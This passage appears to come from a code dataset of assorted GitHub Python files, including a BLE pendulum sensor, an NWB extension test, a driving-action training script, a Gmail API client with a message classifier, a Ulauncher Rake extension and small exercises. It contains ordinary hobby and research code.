word:\n\t\tphonetized_list.append(parse_alphabet()[ch])\n\treturn phonetized_list\n\ntry:\n\t\n\twhile True:\n\t\tuser_input = input(\"Enter the word that you want to be phonetized ( or quit to exit the program ): \")\n\n\t\tif (user_input.lower() == 'quit'):\n\t\t\tprint(\"Exiting the game, goodbye!\")\n\t\t\tbreak\n\t\t\n\t\tprint(user_input + \"=\", end=\"\")\n\t\tprint(phonetized(user_input))\n\t\tpass\n\nexcept KeyboardInterrupt:\n\tprint(\"\\nProgram interrupted by user. Exiting gracefully.\")\t\n\t# Additional cleanup or actions can be performed here if needed","repo_name":"itfibonacci/python","sub_path":"nato_phonetic/phonetize.py","file_name":"phonetize.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5304923304","text":"import bluetooth\nimport random\nimport struct\nimport time\nfrom ble_advertising import advertising_payload\n\nfrom micropython import const\n\nimport time\nfrom machine import Pin\n\nservicoUuid = 0xBEEF;\ncaracteristicaUuid = 0xFEED;\n\n_IRQ_CENTRAL_CONNECT = const(1)\n_IRQ_CENTRAL_DISCONNECT = const(2)\n\n_PENDULO_UUID = bluetooth.UUID(servicoUuid)\n_PENDULO_CHAR = (\n bluetooth.UUID(caracteristicaUuid),\n bluetooth.FLAG_READ | bluetooth.FLAG_NOTIFY,\n)\n_PENDULO_SERVICE = (\n _PENDULO_UUID,\n (_PENDULO_CHAR,),\n)\n\n\nclass BLEPendulo:\n \n def __init__(self, ble, name=\"PenduloSensor\"):\n self._ble = ble\n self._ble.active(True)\n self._ble.irq(self._irq)\n ((self._handle,),) = self._ble.gatts_register_services((_PENDULO_SERVICE,))\n self._connections = set()\n self._payload = advertising_payload(name=name, services=[_PENDULO_UUID])\n self.status = Pin(2,Pin.OUT)\n self._advertise()\n\n def _irq(self, event, data):\n if event == _IRQ_CENTRAL_CONNECT:\n conn_handle, _, _ = data\n self._connections.add(conn_handle)\n self.status.off() \n print('Conectado')\n elif event == _IRQ_CENTRAL_DISCONNECT:\n conn_handle, _, _ = data\n self._connections.remove(conn_handle)\n self._advertise()\n print('Desconectado')\n\n def set_valor(self, valor):\n self._ble.gatts_write(self._handle,struct.pack(' 0 \n\n\nif __name__ == \"__main__\":\n ble = bluetooth.BLE()\n pendulo = BLEPendulo(ble)\n t0 = time.ticks_ms()\n\n while True:\n tn = time.ticks_ms()\n td = time.ticks_diff(tn,t0)\n t0 = tn\n pendulo.set_valor(td)\n print(td)\n time.sleep(2)","repo_name":"esp32lab/simplependulum","sub_path":"hw/ble_pendulo.py","file_name":"ble_pendulo.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70909130405","text":"import os\nfrom pynwb import NWBHDF5IO, NWBFile\nfrom pynwb.file import DynamicTableRegion\nfrom datetime import datetime\nfrom ndx_bipolar_scheme import BipolarSchemeTable, NdxBipolarScheme\nfrom pynwb.ecephys import ElectricalSeries\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal\n\n\ndef test_ext():\n nwbfile = NWBFile('description', 'id', datetime.now().astimezone())\n\n device = nwbfile.create_device('device_name')\n\n electrode_group = nwbfile.create_electrode_group('electrode_group',\n 'desc', 'loc', device=device)\n\n for i in np.arange(20.):\n nwbfile.add_electrode(i, i, i, np.nan, 'loc', 'filt', electrode_group)\n\n electrodes = DynamicTableRegion(\n name='electrodes',\n data=np.arange(0, 3),\n description='desc',\n table=nwbfile.electrodes,\n )\n\n source_ec_series = ElectricalSeries(\n name='source_ec_series',\n description='desc',\n data=np.random.rand(100, 3),\n rate=1000.,\n electrodes=electrodes,\n )\n\n nwbfile.add_acquisition(source_ec_series)\n\n bipolar_scheme_table = BipolarSchemeTable(\n name='bipolar_scheme', description='desc'\n )\n\n bipolar_scheme_table.add_row(anodes=[0], cathodes=[1])\n bipolar_scheme_table.add_row(anodes=[0, 1], cathodes=[2, 3])\n bipolar_scheme_table.add_row(anodes=[0, 1], cathodes=[2])\n\n bipolar_scheme_table['anodes'].target.table = nwbfile.electrodes\n bipolar_scheme_table['cathodes'].target.table = nwbfile.electrodes\n\n bipolar_scheme_region = DynamicTableRegion(\n name='electrodes',\n data=np.arange(0, 3),\n description='desc',\n table=bipolar_scheme_table,\n )\n\n ec_series = ElectricalSeries(\n name='dest_ec_series',\n description='desc',\n data=np.random.rand(100, 3),\n rate=1000.,\n electrodes=bipolar_scheme_region,\n )\n\n nwbfile.add_acquisition(ec_series)\n\n ndx_bipolar_scheme = NdxBipolarScheme(bipolar_scheme_tables=[bipolar_scheme_table], source=source_ec_series)\n nwbfile.add_lab_meta_data(ndx_bipolar_scheme)\n\n with NWBHDF5IO('test_nwb.nwb', 'w') as io:\n io.write(nwbfile)\n\n with NWBHDF5IO('test_nwb.nwb', 'r', load_namespaces=True) as io:\n nwbfile = io.read()\n assert_array_equal(nwbfile.acquisition['dest_ec_series'].electrodes.table['anodes'][2]['x'], [0., 1.])\n\n os.remove('test_nwb.nwb')\n","repo_name":"catalystneuro/ndx-bipolar-scheme","sub_path":"src/pynwb/tests/test_ext.py","file_name":"test_ext.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"8623527877","text":"# extended_dicts.py\r\n\r\nfrom collections import UserDict\r\n\r\nclass ExtendedDict_dict(dict):\r\n def apply(self, action):\r\n for key, value in self.items():\r\n self[key] = action(value)\r\n\r\n def remove(self, key):\r\n del self[key]\r\n\r\n def is_empty(self):\r\n return len(self) == 0\r\n\r\nclass ExtendedDict_UserDict(UserDict):\r\n def apply(self, action):\r\n for key, value in self.items():\r\n self[key] = action(value)\r\n\r\n def remove(self, key):\r\n del self[key]\r\n\r\n def is_empty(self):\r\n return len(self) == 0\r\n\r\nimport timeit\r\nfrom extended_dicts import ExtendedDict_dict\r\nfrom extended_dicts import ExtendedDict_UserDict\r\n\r\ninit_data = dict(zip(range(1000), range(1000)))\r\n\r\ndict_initialization = min(\r\n timeit.repeat(\r\n stmt=\"ExtendedDict_dict(init_data)\",\r\n number=1000,\r\n repeat=5,\r\n globals=globals(),\r\n )\r\n)\r\n\r\nuser_dict_initialization = min(\r\n timeit.repeat(\r\n stmt=\"ExtendedDict_UserDict(init_data)\",\r\n number=1000,\r\n repeat=5,\r\n globals=globals(),\r\n )\r\n)\r\n\r\nprint(\r\n f\"UserDict is {user_dict_initialization / dict_initialization:.3f}\",\r\n \"times slower than dict\",\r\n)\r\n# UserDict is 35.877 times slower than dict\r\n\r\nextended_dict = ExtendedDict_dict(init_data)\r\ndict_apply = min(\r\n timeit.repeat(\r\n stmt=\"extended_dict.apply(lambda x: x**2)\",\r\n number=5,\r\n repeat=2,\r\n globals=globals(),\r\n )\r\n)\r\n\r\nextended_user_dict = ExtendedDict_UserDict(init_data)\r\nuser_dict_apply = min(\r\n timeit.repeat(\r\n stmt=\"extended_user_dict.apply(lambda x: x**2)\",\r\n number=5,\r\n repeat=2,\r\n globals=globals(),\r\n )\r\n)\r\n\r\nprint(\r\n f\"UserDict is {user_dict_apply / dict_apply:.3f}\",\r\n \"times slower than dict\",\r\n)\r\n# UserDict is 1.704 times slower than dict\r\n","repo_name":"syurskyi/Python_Topics","sub_path":"018_dictionaries/examples/Custom Python Dictionaries/008. Considering Performance.py","file_name":"008. Considering Performance.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"27850781786","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 17 13:11:00 2023\n\n@author: KristenMcCaffrey\n\"\"\"\n\n\"\"\"\nTesting app with pages structure\n\"\"\"\n\nimport dash\nfrom dash import html\n\ndash.register_page(__name__, path='/')\n\nlayout = html.Div([\n html.H1('This is our Home page'),\n html.Div('This is our Home page content.'),\n])","repo_name":"GBADsInformatics/AHLE-CaseStudy","sub_path":"Dash App/pages/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15529417105","text":"import base64\nimport datetime\nimport pickle\nimport warnings\nimport pandas as pd\n\nwarnings.filterwarnings(\"ignore\")\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nfrom email.mime.text import MIMEText\nimport tensorflow as tf\nimport tensorflow as tf\n# from keras.layers import Embedding,Dense,LSTM,Bidirectional,GlobalMaxPooling1D,InputLayer,Dropout\n# from keras.callbacks import EarlyStopping,ReduceLROnPlateau\n# from keras.models import Sequential\nimport tensorflow as tf\nimport tensorflow.compat.v1 as tf\n\n# from sklearn.preprocessing import LabelEncoder\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom machine import clean_text\nfrom google_auth_oauthlib.flow import Flow, InstalledAppFlow\nfrom googleapiclient.discovery import build\n# from googleapiclient.http import MediaFileUpload, MediaIoBaseDownload\nfrom google.auth.transport.requests import Request\n# import pandas as pd\n\n\nclass GmailClient:\n def __init__(self):\n self.API='716788699125-24cq792btof1elffr4dj9j8l49grgn7m.apps.googleusercontent.com'\n self.CLIENT_FILE='Gmail/client_secret.json'\n self.API_NAME='gmail'\n self.API_VERSION='v1'\n self.SCOPES=['https://mail.google.com/']\n self.service=self.Create_Service(self.CLIENT_FILE,self.API_NAME,self.API_VERSION,self.SCOPES)\n\n def Create_Service(self,client_secret_file, api_name, api_version, *scopes):\n print(client_secret_file, api_name, api_version, scopes, sep='-')\n CLIENT_SECRET_FILE = client_secret_file\n API_SERVICE_NAME = api_name\n API_VERSION = api_version\n SCOPES = [scope for scope in scopes[0]]\n #print(SCOPES)\n\n cred = None\n working_dir = os.getcwd()\n token_dir = 'token files'\n\n pickle_file = f'token_{API_SERVICE_NAME}_{API_VERSION}.pickle'\n # print(pickle_file)\n\n ### Check if token dir exists first, if not, create the folder\n if not os.path.exists(os.path.join(working_dir, token_dir)):\n os.mkdir(os.path.join(working_dir, token_dir))\n\n if os.path.exists(os.path.join(working_dir, token_dir, pickle_file)):\n with open(os.path.join(working_dir, token_dir, pickle_file), 'rb') as token:\n cred = pickle.load(token)\n\n if not cred or not cred.valid:\n if cred and cred.expired and cred.refresh_token:\n cred.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)\n cred = flow.run_local_server()\n\n with open(os.path.join(working_dir, token_dir, pickle_file), 'wb') as token:\n pickle.dump(cred, token)\n\n try:\n service = build(API_SERVICE_NAME, API_VERSION, credentials=cred)\n print(API_SERVICE_NAME, 'service created successfully')\n return service\n except Exception as e:\n print(e)\n print(f'Failed to create service instance for {API_SERVICE_NAME}')\n os.remove(os.path.join(working_dir, token_dir, pickle_file))\n return None\n\n def convert_to_RFC_datetime(self,year=1900, month=1, day=1, hour=0, minute=0):\n dt = datetime.datetime(year, month, day, hour, minute, 0).isoformat() + 'Z'\n return dt\n\n def get_mails(self, labelIds=None):\n if labelIds is None:\n labelIds = ['INBOX']\n results = self.service.users().messages().list(userId='me', labelIds=labelIds).execute()\n messages = results.get('messages', [])\n messages=[self.service.users().messages().get(userId='me',id=msg['id']).execute() for msg in messages]\n return messages\n\n @staticmethod\n def create_message(sender,to,subject,message_text):\n message=MIMEText(message_text)\n message['to']=to\n message['from']=sender\n message['subject']=subject\n\n raw_message=base64.urlsafe_b64encode(message.as_string().encode(\"utf-8\"))\n return {\n 'raw':raw_message.decode(\"utf-8\")\n }\n\n def send_message(self,message):\n try:\n message=self.service.users().messages().send(userId='me',body=message).execute()\n print('Message Id: %s' % message['id'])\n return message\n except Exception as e:\n print('An error occurred: %s' % e)\n return None\n @staticmethod\n def is_suicidal(str_input): # determines if message is suicidal or not\n # machine will be used in this section\n with open('model.pkl', 'rb') as fp:\n lst=[str_input]\n model=pickle.load(fp)\n cleaned_train_text,clean_text_length = clean_text(lst)\n with open('tokenizer.pkl', 'rb') as fp2:\n tokenizer = pickle.load(fp2)\n train_text_seq = tokenizer.texts_to_sequences(cleaned_train_text)\n train_text_pad = pad_sequences(train_text_seq, maxlen=40)\n res=model.predict_classes(train_text_pad)\n return res\n\n\n def get_sender(self,msg): # get sender email address from the message\n for header in msg['payload']['headers']:\n if header['name'] == 'From':\n return header['value']\n\n def create_description(self,msg): # creating the description , title = \"suicidal\" {default}\n desc = \"sender :\\n\"\n for str in self.get_sender(msg):\n desc += str\n str += \"\\n\"\n for str in msg['snippet']:\n desc += str\n return str\n\n def get_message(self,msg):\n return msg['snippet']\n\n def get_labels(self):\n results = self.service.users().labels().list(userId='me').execute()\n labels = results.get('labels', [])\n return labels","repo_name":"OmerNachshon/SuicidePrevention","sub_path":"Gmail/Google.py","file_name":"Google.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24837037691","text":"import mysql.connector\nimport pandas as pd\nfrom BBDD.secreto import *\nimport datetime\n\nclass Produccion():\n def __init__(self):\n self.mydb = mysql.connector.connect(host=host, user=user, password=password, database=database)\n\n def cantidadTipoFecha(self, id_prod, fecha_ini, fecha_fin):\n mycursor =self.mydb.cursor()\n sql = \"SELECT fecha_ped, SUM(cantidad_ped) FROM pedido WHERE id_silla = %s AND fecha_ped BETWEEN %s AND %s GROUP BY fecha_ped\"\n mycursor.execute(sql,(id_prod, fecha_ini, fecha_fin))\n myresult = mycursor.fetchall()\n\n fecha_ini = datetime.datetime.strptime(fecha_ini, \"%Y-%m-%d\")\n fecha_fin = datetime.datetime.strptime(fecha_fin, \"%Y-%m-%d\")\n\n df = pd.DataFrame(myresult, columns=[\"fecha_ped\",\"cantidad_ped\"])\n df[\"fecha_ped\"] = pd.to_datetime(df[\"fecha_ped\"])\n df.set_index(\"fecha_ped\", inplace=True)\n index = pd.date_range(start=fecha_ini, end=fecha_fin, freq=\"D\")\n df = df.reindex(index)\n df = df.fillna(0)\n df[\"cantidad_ped\"] = df[\"cantidad_ped\"].astype(float)\n\n\n\n return df[\"cantidad_ped\"].to_list()\n\n def tiposSillas(self):\n mycursor = self.mydb.cursor()\n mycursor.execute(\"SELECT id_silla FROM tipo_silla\")\n myresult = mycursor.fetchall()\n return myresult\n\n def inventarioSilla(self, id_silla):\n mycursor = self.mydb.cursor()\n mycursor.execute(\"SELECT cantidad_inv FROM inventario WHERE id_silla = %s\", (id_silla,))\n myresult = mycursor.fetchall()\n myresult = myresult[0][0]\n return myresult\n","repo_name":"sandracarmona1/SAPIM","sub_path":"BBDD/produccion.py","file_name":"produccion.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38408222096","text":"a,b,c = input().split()\na = float(a)\nb = float(b)\nc = float(c)\nx = 2*a\ndelta = (b**2)-4*a*c\nif((x) == 0 or delta < 0):\n print('Impossivel calcular')\nelse:\n result1 = (-b + (delta**(1/2)))/(x)\n result2 = (-b -(delta**(1/2)))/(x)\n print('R1 = %.5f' % result1)\n print('R2 = %.5f' % result2)\n","repo_name":"igortisilva/Respostas-URI-Beecrowd","sub_path":"1036.py","file_name":"1036.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17112177958","text":"from utils.temporal_transforms import TemporalSequentialCrop\nfrom utils.temporal_transforms import TemporalCasCadeSampling\nfrom utils.group import OneOf\nfrom utils import spatial_transforms\nfrom data.train_dataset import DAC\nfrom torch.utils.data import DataLoader, Subset\nimport numpy as np\nfrom loss.NCEAverage import NCEAverage\nfrom loss.NCECriterion import NCECriterion\nimport os, torch\nimport torch.backends.cudnn as cudnn\nfrom utils.util import adjust_learning_rate, Logger, l2_normalize\nfrom utils.utils import AverageMeter, split_acc_diff_threshold\nfrom models.prop_model import R3D_MLP, make_data_parallel\nfrom tqdm import tqdm\nfrom models.prop_model import make_data_parallel\n\ndef train_epoch(train_normal_loader, train_anormal_loader, model, nce_average, criterion, optimizer, epoch, args,\n batch_logger, epoch_logger, memory_bank=None):\n losses = AverageMeter()\n prob_meter = AverageMeter()\n\n model.train()\n \n for batch, ((normal_data, idx_n), (anormal_data, idx_a)) in tqdm(enumerate(zip(train_normal_loader, train_anormal_loader))):\n if normal_data.size(0) != args.n_train_batch_size:\n break\n data = torch.cat((normal_data, anormal_data), dim=0) # n_vec as well as a_vec are all normalized value\n \n if args.use_cuda:\n data = data.cuda()\n idx_a = idx_a.cuda()\n idx_n = idx_n.cuda()\n normal_data = normal_data.cuda()\n \n # ================forward====================\n \n vec, normed_vec = model(data)\n \n n_vec = vec[0:args.n_train_batch_size]\n a_vec = vec[args.n_train_batch_size:]\n outs, probs = nce_average(n_vec, a_vec, idx_n, idx_a, normed_vec[0:args.n_train_batch_size])\n loss = criterion(outs)\n\n # ================backward====================\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # ===========update memory bank===============\n model.eval()\n _, n = model(normal_data)\n n = n.detach()\n average = torch.mean(n, dim=0, keepdim=True)\n if len(memory_bank) < args.memory_bank_size:\n memory_bank.append(average)\n else:\n memory_bank.pop(0)\n memory_bank.append(average)\n model.train()\n\n # ===============update meters ===============\n losses.update(loss.item(), outs.size(0))\n prob_meter.update(probs.item(), outs.size(0))\n\n # =================logging=====================\n batch_logger.log({\n 'epoch': epoch,\n 'batch': batch,\n 'loss': losses.val,\n 'probs': prob_meter.val,\n 'lr': optimizer.param_groups[0]['lr']\n })\n print(\n f'\\r Training Process is running: {epoch}/{args.epochs} | Batch: {batch} | Loss: {losses.val:.3f} ({losses.avg:.3f}) | Probs: {prob_meter.val:.3f} ({prob_meter.avg:.3f},)',end='')\n epoch_logger.log({\n 'epoch': epoch,\n 'loss': losses.avg,\n 'probs': prob_meter.avg,\n 'lr': optimizer.param_groups[0]['lr']\n })\n return memory_bank, losses.avg\n\n\ndef train(args):\n args.scales = [args.initial_scales] # 1.0\n for i in range(1, args.n_scales): # 3\n args.scales.append(args.scales[-1] * args.scale_step) # 1 * 0.9\n \n \n before_crop_duration = int(args.sample_duration * args.downsample) #sample_duration=16, downsample=2\n temporal_transform = OneOf([TemporalSequentialCrop(duration = before_crop_duration, \n downsample = args.downsample),\n TemporalCasCadeSampling(duration=before_crop_duration,\n downsample = args.downsample) #Our Contribution!!\n ])#각 데이터에 맞는 transform 시행 -> 우리는 if문 없애고 rgb에 맞게끔\n \n \n spatial_transform = spatial_transforms.Compose([\n #spatial_transforms.Scale(args.sample_size),\n spatial_transforms.ToTensor(args.norm_value, args.mode),\n spatial_transforms.Normalize(mean=[0.3664, 0.3665, 0.3662], #Right\n std=[0.2743,0.2743,0.2742])])\n print(\"=================================Loading Driving Training Data!=================================\")\n training_anormal_data = DAC(root_path=args.root_path,\n subset='train',\n view=args.view,\n sample_duration=before_crop_duration,\n type='anormal',\n spatial_transform=spatial_transform,\n temporal_transform=temporal_transform)\n\n training_anormal_size = int(len(training_anormal_data) * args.a_split_ratio)\n training_anormal_data = Subset(training_anormal_data, np.arange(training_anormal_size))\n \n train_anormal_loader = DataLoader(\n training_anormal_data,\n batch_size=args.a_train_batch_size,\n shuffle=True,\n num_workers=args.n_threads,\n pin_memory=False,\n )\n\n print(\"=================================Loading Normal-Driving Training Data!=================================\")\n training_normal_data = DAC(root_path=args.root_path,\n subset='train',\n view=args.view,\n sample_duration=before_crop_duration,\n type='normal',\n spatial_transform=spatial_transform,\n temporal_transform=temporal_transform\n )\n\n training_normal_size = int(len(training_normal_data) * args.n_split_ratio)\n training_normal_data = Subset(training_normal_data, np.arange(training_normal_size))\n\n train_normal_loader = DataLoader(\n training_normal_data,\n batch_size=args.n_train_batch_size,\n shuffle=True,\n num_workers=args.n_threads,\n pin_memory=False,\n )\n\n print(\"========================================Loading Validation Data========================================\")\n val_spatial_transform = spatial_transforms.Compose([\n # spatial_transforms.Scale(args.sample_size),\n spatial_transforms.ToTensor(args.norm_value, \n args.mode),\n spatial_transforms.Normalize(mean= [0.3679, 0.3679, 0.3677], #Right\n std= [0.2757,0.2757,0.2756])\n ])\n validation_data = DAC(root_path=args.root_path,\n subset='validation',\n view=args.view,\n sample_duration=args.sample_duration,\n type=None,\n spatial_transform=val_spatial_transform,\n )\n \n validation_loader = DataLoader(\n validation_data,\n batch_size=args.val_batch_size,\n shuffle=False,\n num_workers=args.n_threads,\n pin_memory=False,\n )\n\n len_neg = training_anormal_data.__len__()\n len_pos = training_normal_data.__len__()\n num_val_data = validation_data.__len__()\n print(f'len_neg: {len_neg}')\n print(f'len_pos: {len_pos}')\n print(f'val_data len:{num_val_data}')\n import copy\n print(\"============================================Generating Model============================================\")\n if args.resume_path == '':\n # ===============generate new model or pre-trained model===============\n opt = copy.deepcopy(args)\n \n model = R3D_MLP(feature_dim=args.feature_dim,model_depth=args.model_depth, opt=opt)\n model = make_data_parallel(model, opt.distributed, device='cuda')\n \n optimizer = torch.optim.SGD(list(model.parameters()), lr=args.learning_rate, momentum=args.momentum,\n dampening=float(args.dampening), weight_decay=args.weight_decay, nesterov=args.nesterov)\n nce_average = NCEAverage(args.feature_dim, len_neg, len_pos, args.tau, args.Z_momentum)\n criterion = NCECriterion(len_neg)\n begin_epoch = 1\n best_acc = 0\n memory_bank = []\n else:\n # ===============load previously trained model ===============\n args.pre_train_model = False\n \n model = R3D_MLP(feature_dim=args.feature_dim,model_depth=args.model_depth, opt=opt)\n \n \n #model.load_state_dict(resume_checkpoint['state_dict'])\n \n optimizer = torch.optim.SGD(list(model.parameters()), lr=args.learning_rate, momentum=args.momentum,\n dampening=args.dampening, weight_decay=args.weight_decay, nesterov=args.nesterov)\n #optimizer.load_state_dict(resume_checkpoint['optimizer'])\n nce_average = resume_checkpoint['nce_average']\n criterion = NCECriterion(len_neg) #\n begin_epoch = resume_checkpoint['epoch'] + 1\n best_acc = resume_checkpoint['acc']\n memory_bank = resume_checkpoint['memory_bank']\n del resume_checkpoint\n torch.cuda.empty_cache()\n adjust_learning_rate(optimizer, args.learning_rate)\n\n print(\"==========================================!!!START TRAINING!!!==========================================\")\n cudnn.benchmark = True\n batch_logger = Logger(os.path.join(args.log_folder, 'batch.log'), ['epoch', 'batch', 'loss', 'probs', 'lr'], args.log_resume)\n epoch_logger = Logger(os.path.join(args.log_folder, 'epoch.log'), ['epoch', 'loss', 'probs', 'lr'], args.log_resume)\n val_logger = Logger(os.path.join(args.log_folder, 'val.log'),\n ['epoch', 'accuracy', 'normal_acc', 'anormal_acc', 'threshold', 'acc_list',\n 'normal_acc_list', 'anormal_acc_list'], args.log_resume)\n\n for epoch in range(begin_epoch, begin_epoch + args.epochs + 1):\n memory_bank, loss = train_epoch(train_normal_loader=train_normal_loader, \n train_anormal_loader=train_anormal_loader, \n model=model, \n nce_average=nce_average,\n criterion=criterion, \n optimizer=optimizer, \n epoch=epoch, args=args, batch_logger=batch_logger, \n epoch_logger=epoch_logger, \n memory_bank=memory_bank)\n\n if epoch % args.val_step == 0:\n print(\"==========================================!!!Validation!!!==========================================\")\n normal_vec = torch.mean(torch.cat(memory_bank, dim=0), dim=0, keepdim=True)\n normal_vec = l2_normalize(normal_vec)\n\n model.eval()\n accuracy, best_threshold, acc_n, acc_a, acc_list, acc_n_list, acc_a_list = split_acc_diff_threshold(\n model, normal_vec, validation_loader, args.use_cuda)\n print( f'Epoch: {epoch}/{args.epochs} | Accuracy: {accuracy} | Normal Acc: {acc_n} | Anormal Acc: {acc_a} | Threshold: {best_threshold}')\n print(\n \"==========================================!!!Logging!!!==========================================\")\n val_logger.log({\n 'epoch': epoch,\n 'accuracy': accuracy * 100,\n 'normal_acc': acc_n * 100,\n 'anormal_acc': acc_a * 100,\n 'threshold': best_threshold,\n 'acc_list': acc_list,\n 'normal_acc_list': acc_n_list,\n 'anormal_acc_list': acc_a_list\n })\n if accuracy > best_acc:\n best_acc = accuracy\n print(\n \"==========================================!!!Saving!!!==========================================\")\n checkpoint_path = os.path.join(args.checkpoint_folder, f'best_model_{args.model_type}_{args.view}.pth')\n states = {\n 'epoch': epoch,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'acc': accuracy,\n 'threshold': best_threshold,\n 'nce_average': nce_average,\n 'memory_bank': memory_bank}\n torch.save(states, checkpoint_path)\n\n if epoch % args.save_step == 0:\n print(\"==========================================!!!Saving!!!==========================================\")\n checkpoint_path = os.path.join(args.checkpoint_folder,\n f'{args.model_type}_{args.view}_{epoch}.pth')\n states = {\n 'epoch': epoch,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'acc': accuracy,\n 'nce_average': nce_average,\n 'memory_bank': memory_bank}\n torch.save(states, checkpoint_path)\n\n if epoch % args.lr_decay == 0:\n lr = args.learning_rate * (0.1 ** (epoch // args.lr_decay))\n adjust_learning_rate(optimizer, lr)\n print(f'New learning rate: {lr}')","repo_name":"LEE-SEON-WOO/Naturalistic-Driving-Action-Recognition","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20120356541","text":"#!/usr/bin/env python\nimport rospy\nimport serial\nimport math\nfrom geometry_msgs.msg import Twist\nfrom std_msgs.msg import String\nimport serial\npub = rospy.Publisher('arduino', String, queue_size=10)\naction = \"\"\ndef callback(msg):\n\trospy.loginfo(\"received a msg from cmd_vel\")\n\trospy.loginfo(\"Linear components are [%f, %f, %f]\"%(msg.linear.x,msg.linear.y,msg.linear.z))\n\trospy.loginfo(\"Angular components are [%f, %f, %f]\"%(msg.angular.x,msg.angular.y,msg.angular.z))\n\tport = '/dev/ttyACM0'\n\taction = \"\"\n\t#ser = serial.Serial(port=port,baudrate=57600,timeout=1)\n\tif msg.linear.x > 0 and (msg.angular.z < 0.4 or msg.angular.z > -0.4):\n\t\taction = \"F\"\n\telif msg.linear.x > 0:\n\t\taction = \"F\"\n\telif msg.linear.x == 0:\n\t\taction = \"S\"\n\tif msg.angular.z > 0:\n\t\taction = action + \"L\"\n\telif msg.angular.z < 0:\n\t\taction = action + \"R\"\n\trospy.loginfo(action)\n\tpub.publish(action)\t\n\taction = \"\"\n\t#ser.write(action)\n\t#ser.write(\"\\n\")\n\ndef listener():\n\trospy.init_node('cmd_vel_listener')\n\trospy.Subscriber(\"/cmd_vel\",Twist,callback)\n\trate = rospy.Rate(50)\n\t\n\t#rospy.init_node('talker', anonymous=True)\n\trospy.loginfo(action)\n\trate.sleep()\n\trospy.spin()\n\t\n\nif __name__ == '__main__':\n\tlistener()\n","repo_name":"RajathSwaroop/Machine-Learning","sub_path":"scooter/src/drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3653171841","text":"import os\nfrom ulauncher.api.client.EventListener import EventListener\nfrom ulauncher.api.client.Extension import Extension\nfrom ulauncher.api.shared.action.ExtensionCustomAction import ExtensionCustomAction\nfrom ulauncher.api.shared.action.RenderResultListAction import RenderResultListAction\nfrom ulauncher.api.shared.event import KeywordQueryEvent, ItemEnterEvent\nfrom ulauncher.api.shared.item.ExtensionResultItem import ExtensionResultItem\n\n##======================================================================================================================\n\nclass RunExtension(Extension):\n\tdef __init__(self):\n\t\tsuper(RunExtension, self).__init__()\n\t\tself.subscribe(KeywordQueryEvent, KeywordQueryEventListener())\n\t\tself.subscribe(ItemEnterEvent, ItemEnterEventListener())\n\nclass KeywordQueryEventListener(EventListener):\n\tdef on_event(self, event, extension):\n\t\ttask_name = event.get_argument()\n\t\titems = [\n\t\t\tExtensionResultItem(\n\t\t\t\ticon=\"images/icon.png\",\n\t\t\t\tname=\"Run a Rake task in a terminal\",\n\t\t\t\tdescription=\"\" if not task_name else f\"Run the Rake task \\\"{task_name}\\\" in a terminal\",\n\t\t\t\ton_enter=ExtensionCustomAction(task_name),\n\t\t\t),\n\t\t]\n\t\treturn RenderResultListAction(items)\n\nclass ItemEnterEventListener(EventListener):\n\tdef on_event(self, event, extension):\n\t\ttask_name = event.get_data() or \"\"\n\t\tcommand = extension.preferences[\"command\"]\n\t\tcommand = command.replace(\"$TASK\", task_name)\n\t\tos.system(command)\n\t\treturn RenderResultListAction([])\n\n##------------------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n\tRunExtension().run()\n","repo_name":"sa-0001/ulauncher-rake","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29456098378","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n\nclass Chrome:\n\n def __init__(self, url):\n \"\"\"\n Constructor of the Chrome web driver.\n :param url: string email data.\n \"\"\"\n service = Service(ChromeDriverManager().install())\n self.driver_chrome = webdriver.Chrome(service=service)\n self.driver_chrome.get(url)\n\n def click_login_button(self):\n \"\"\"\n Clicks login button.\n \"\"\"\n button = self.driver_chrome.find_element(By.CSS_SELECTOR, \"a[href='/login']\")\n button.click()\n\n def set_email_field(self, email):\n \"\"\"\n Set email field.\n :param email: string email data.\n \"\"\"\n email_field = self.driver_chrome.find_element(By.ID, \"user\")\n 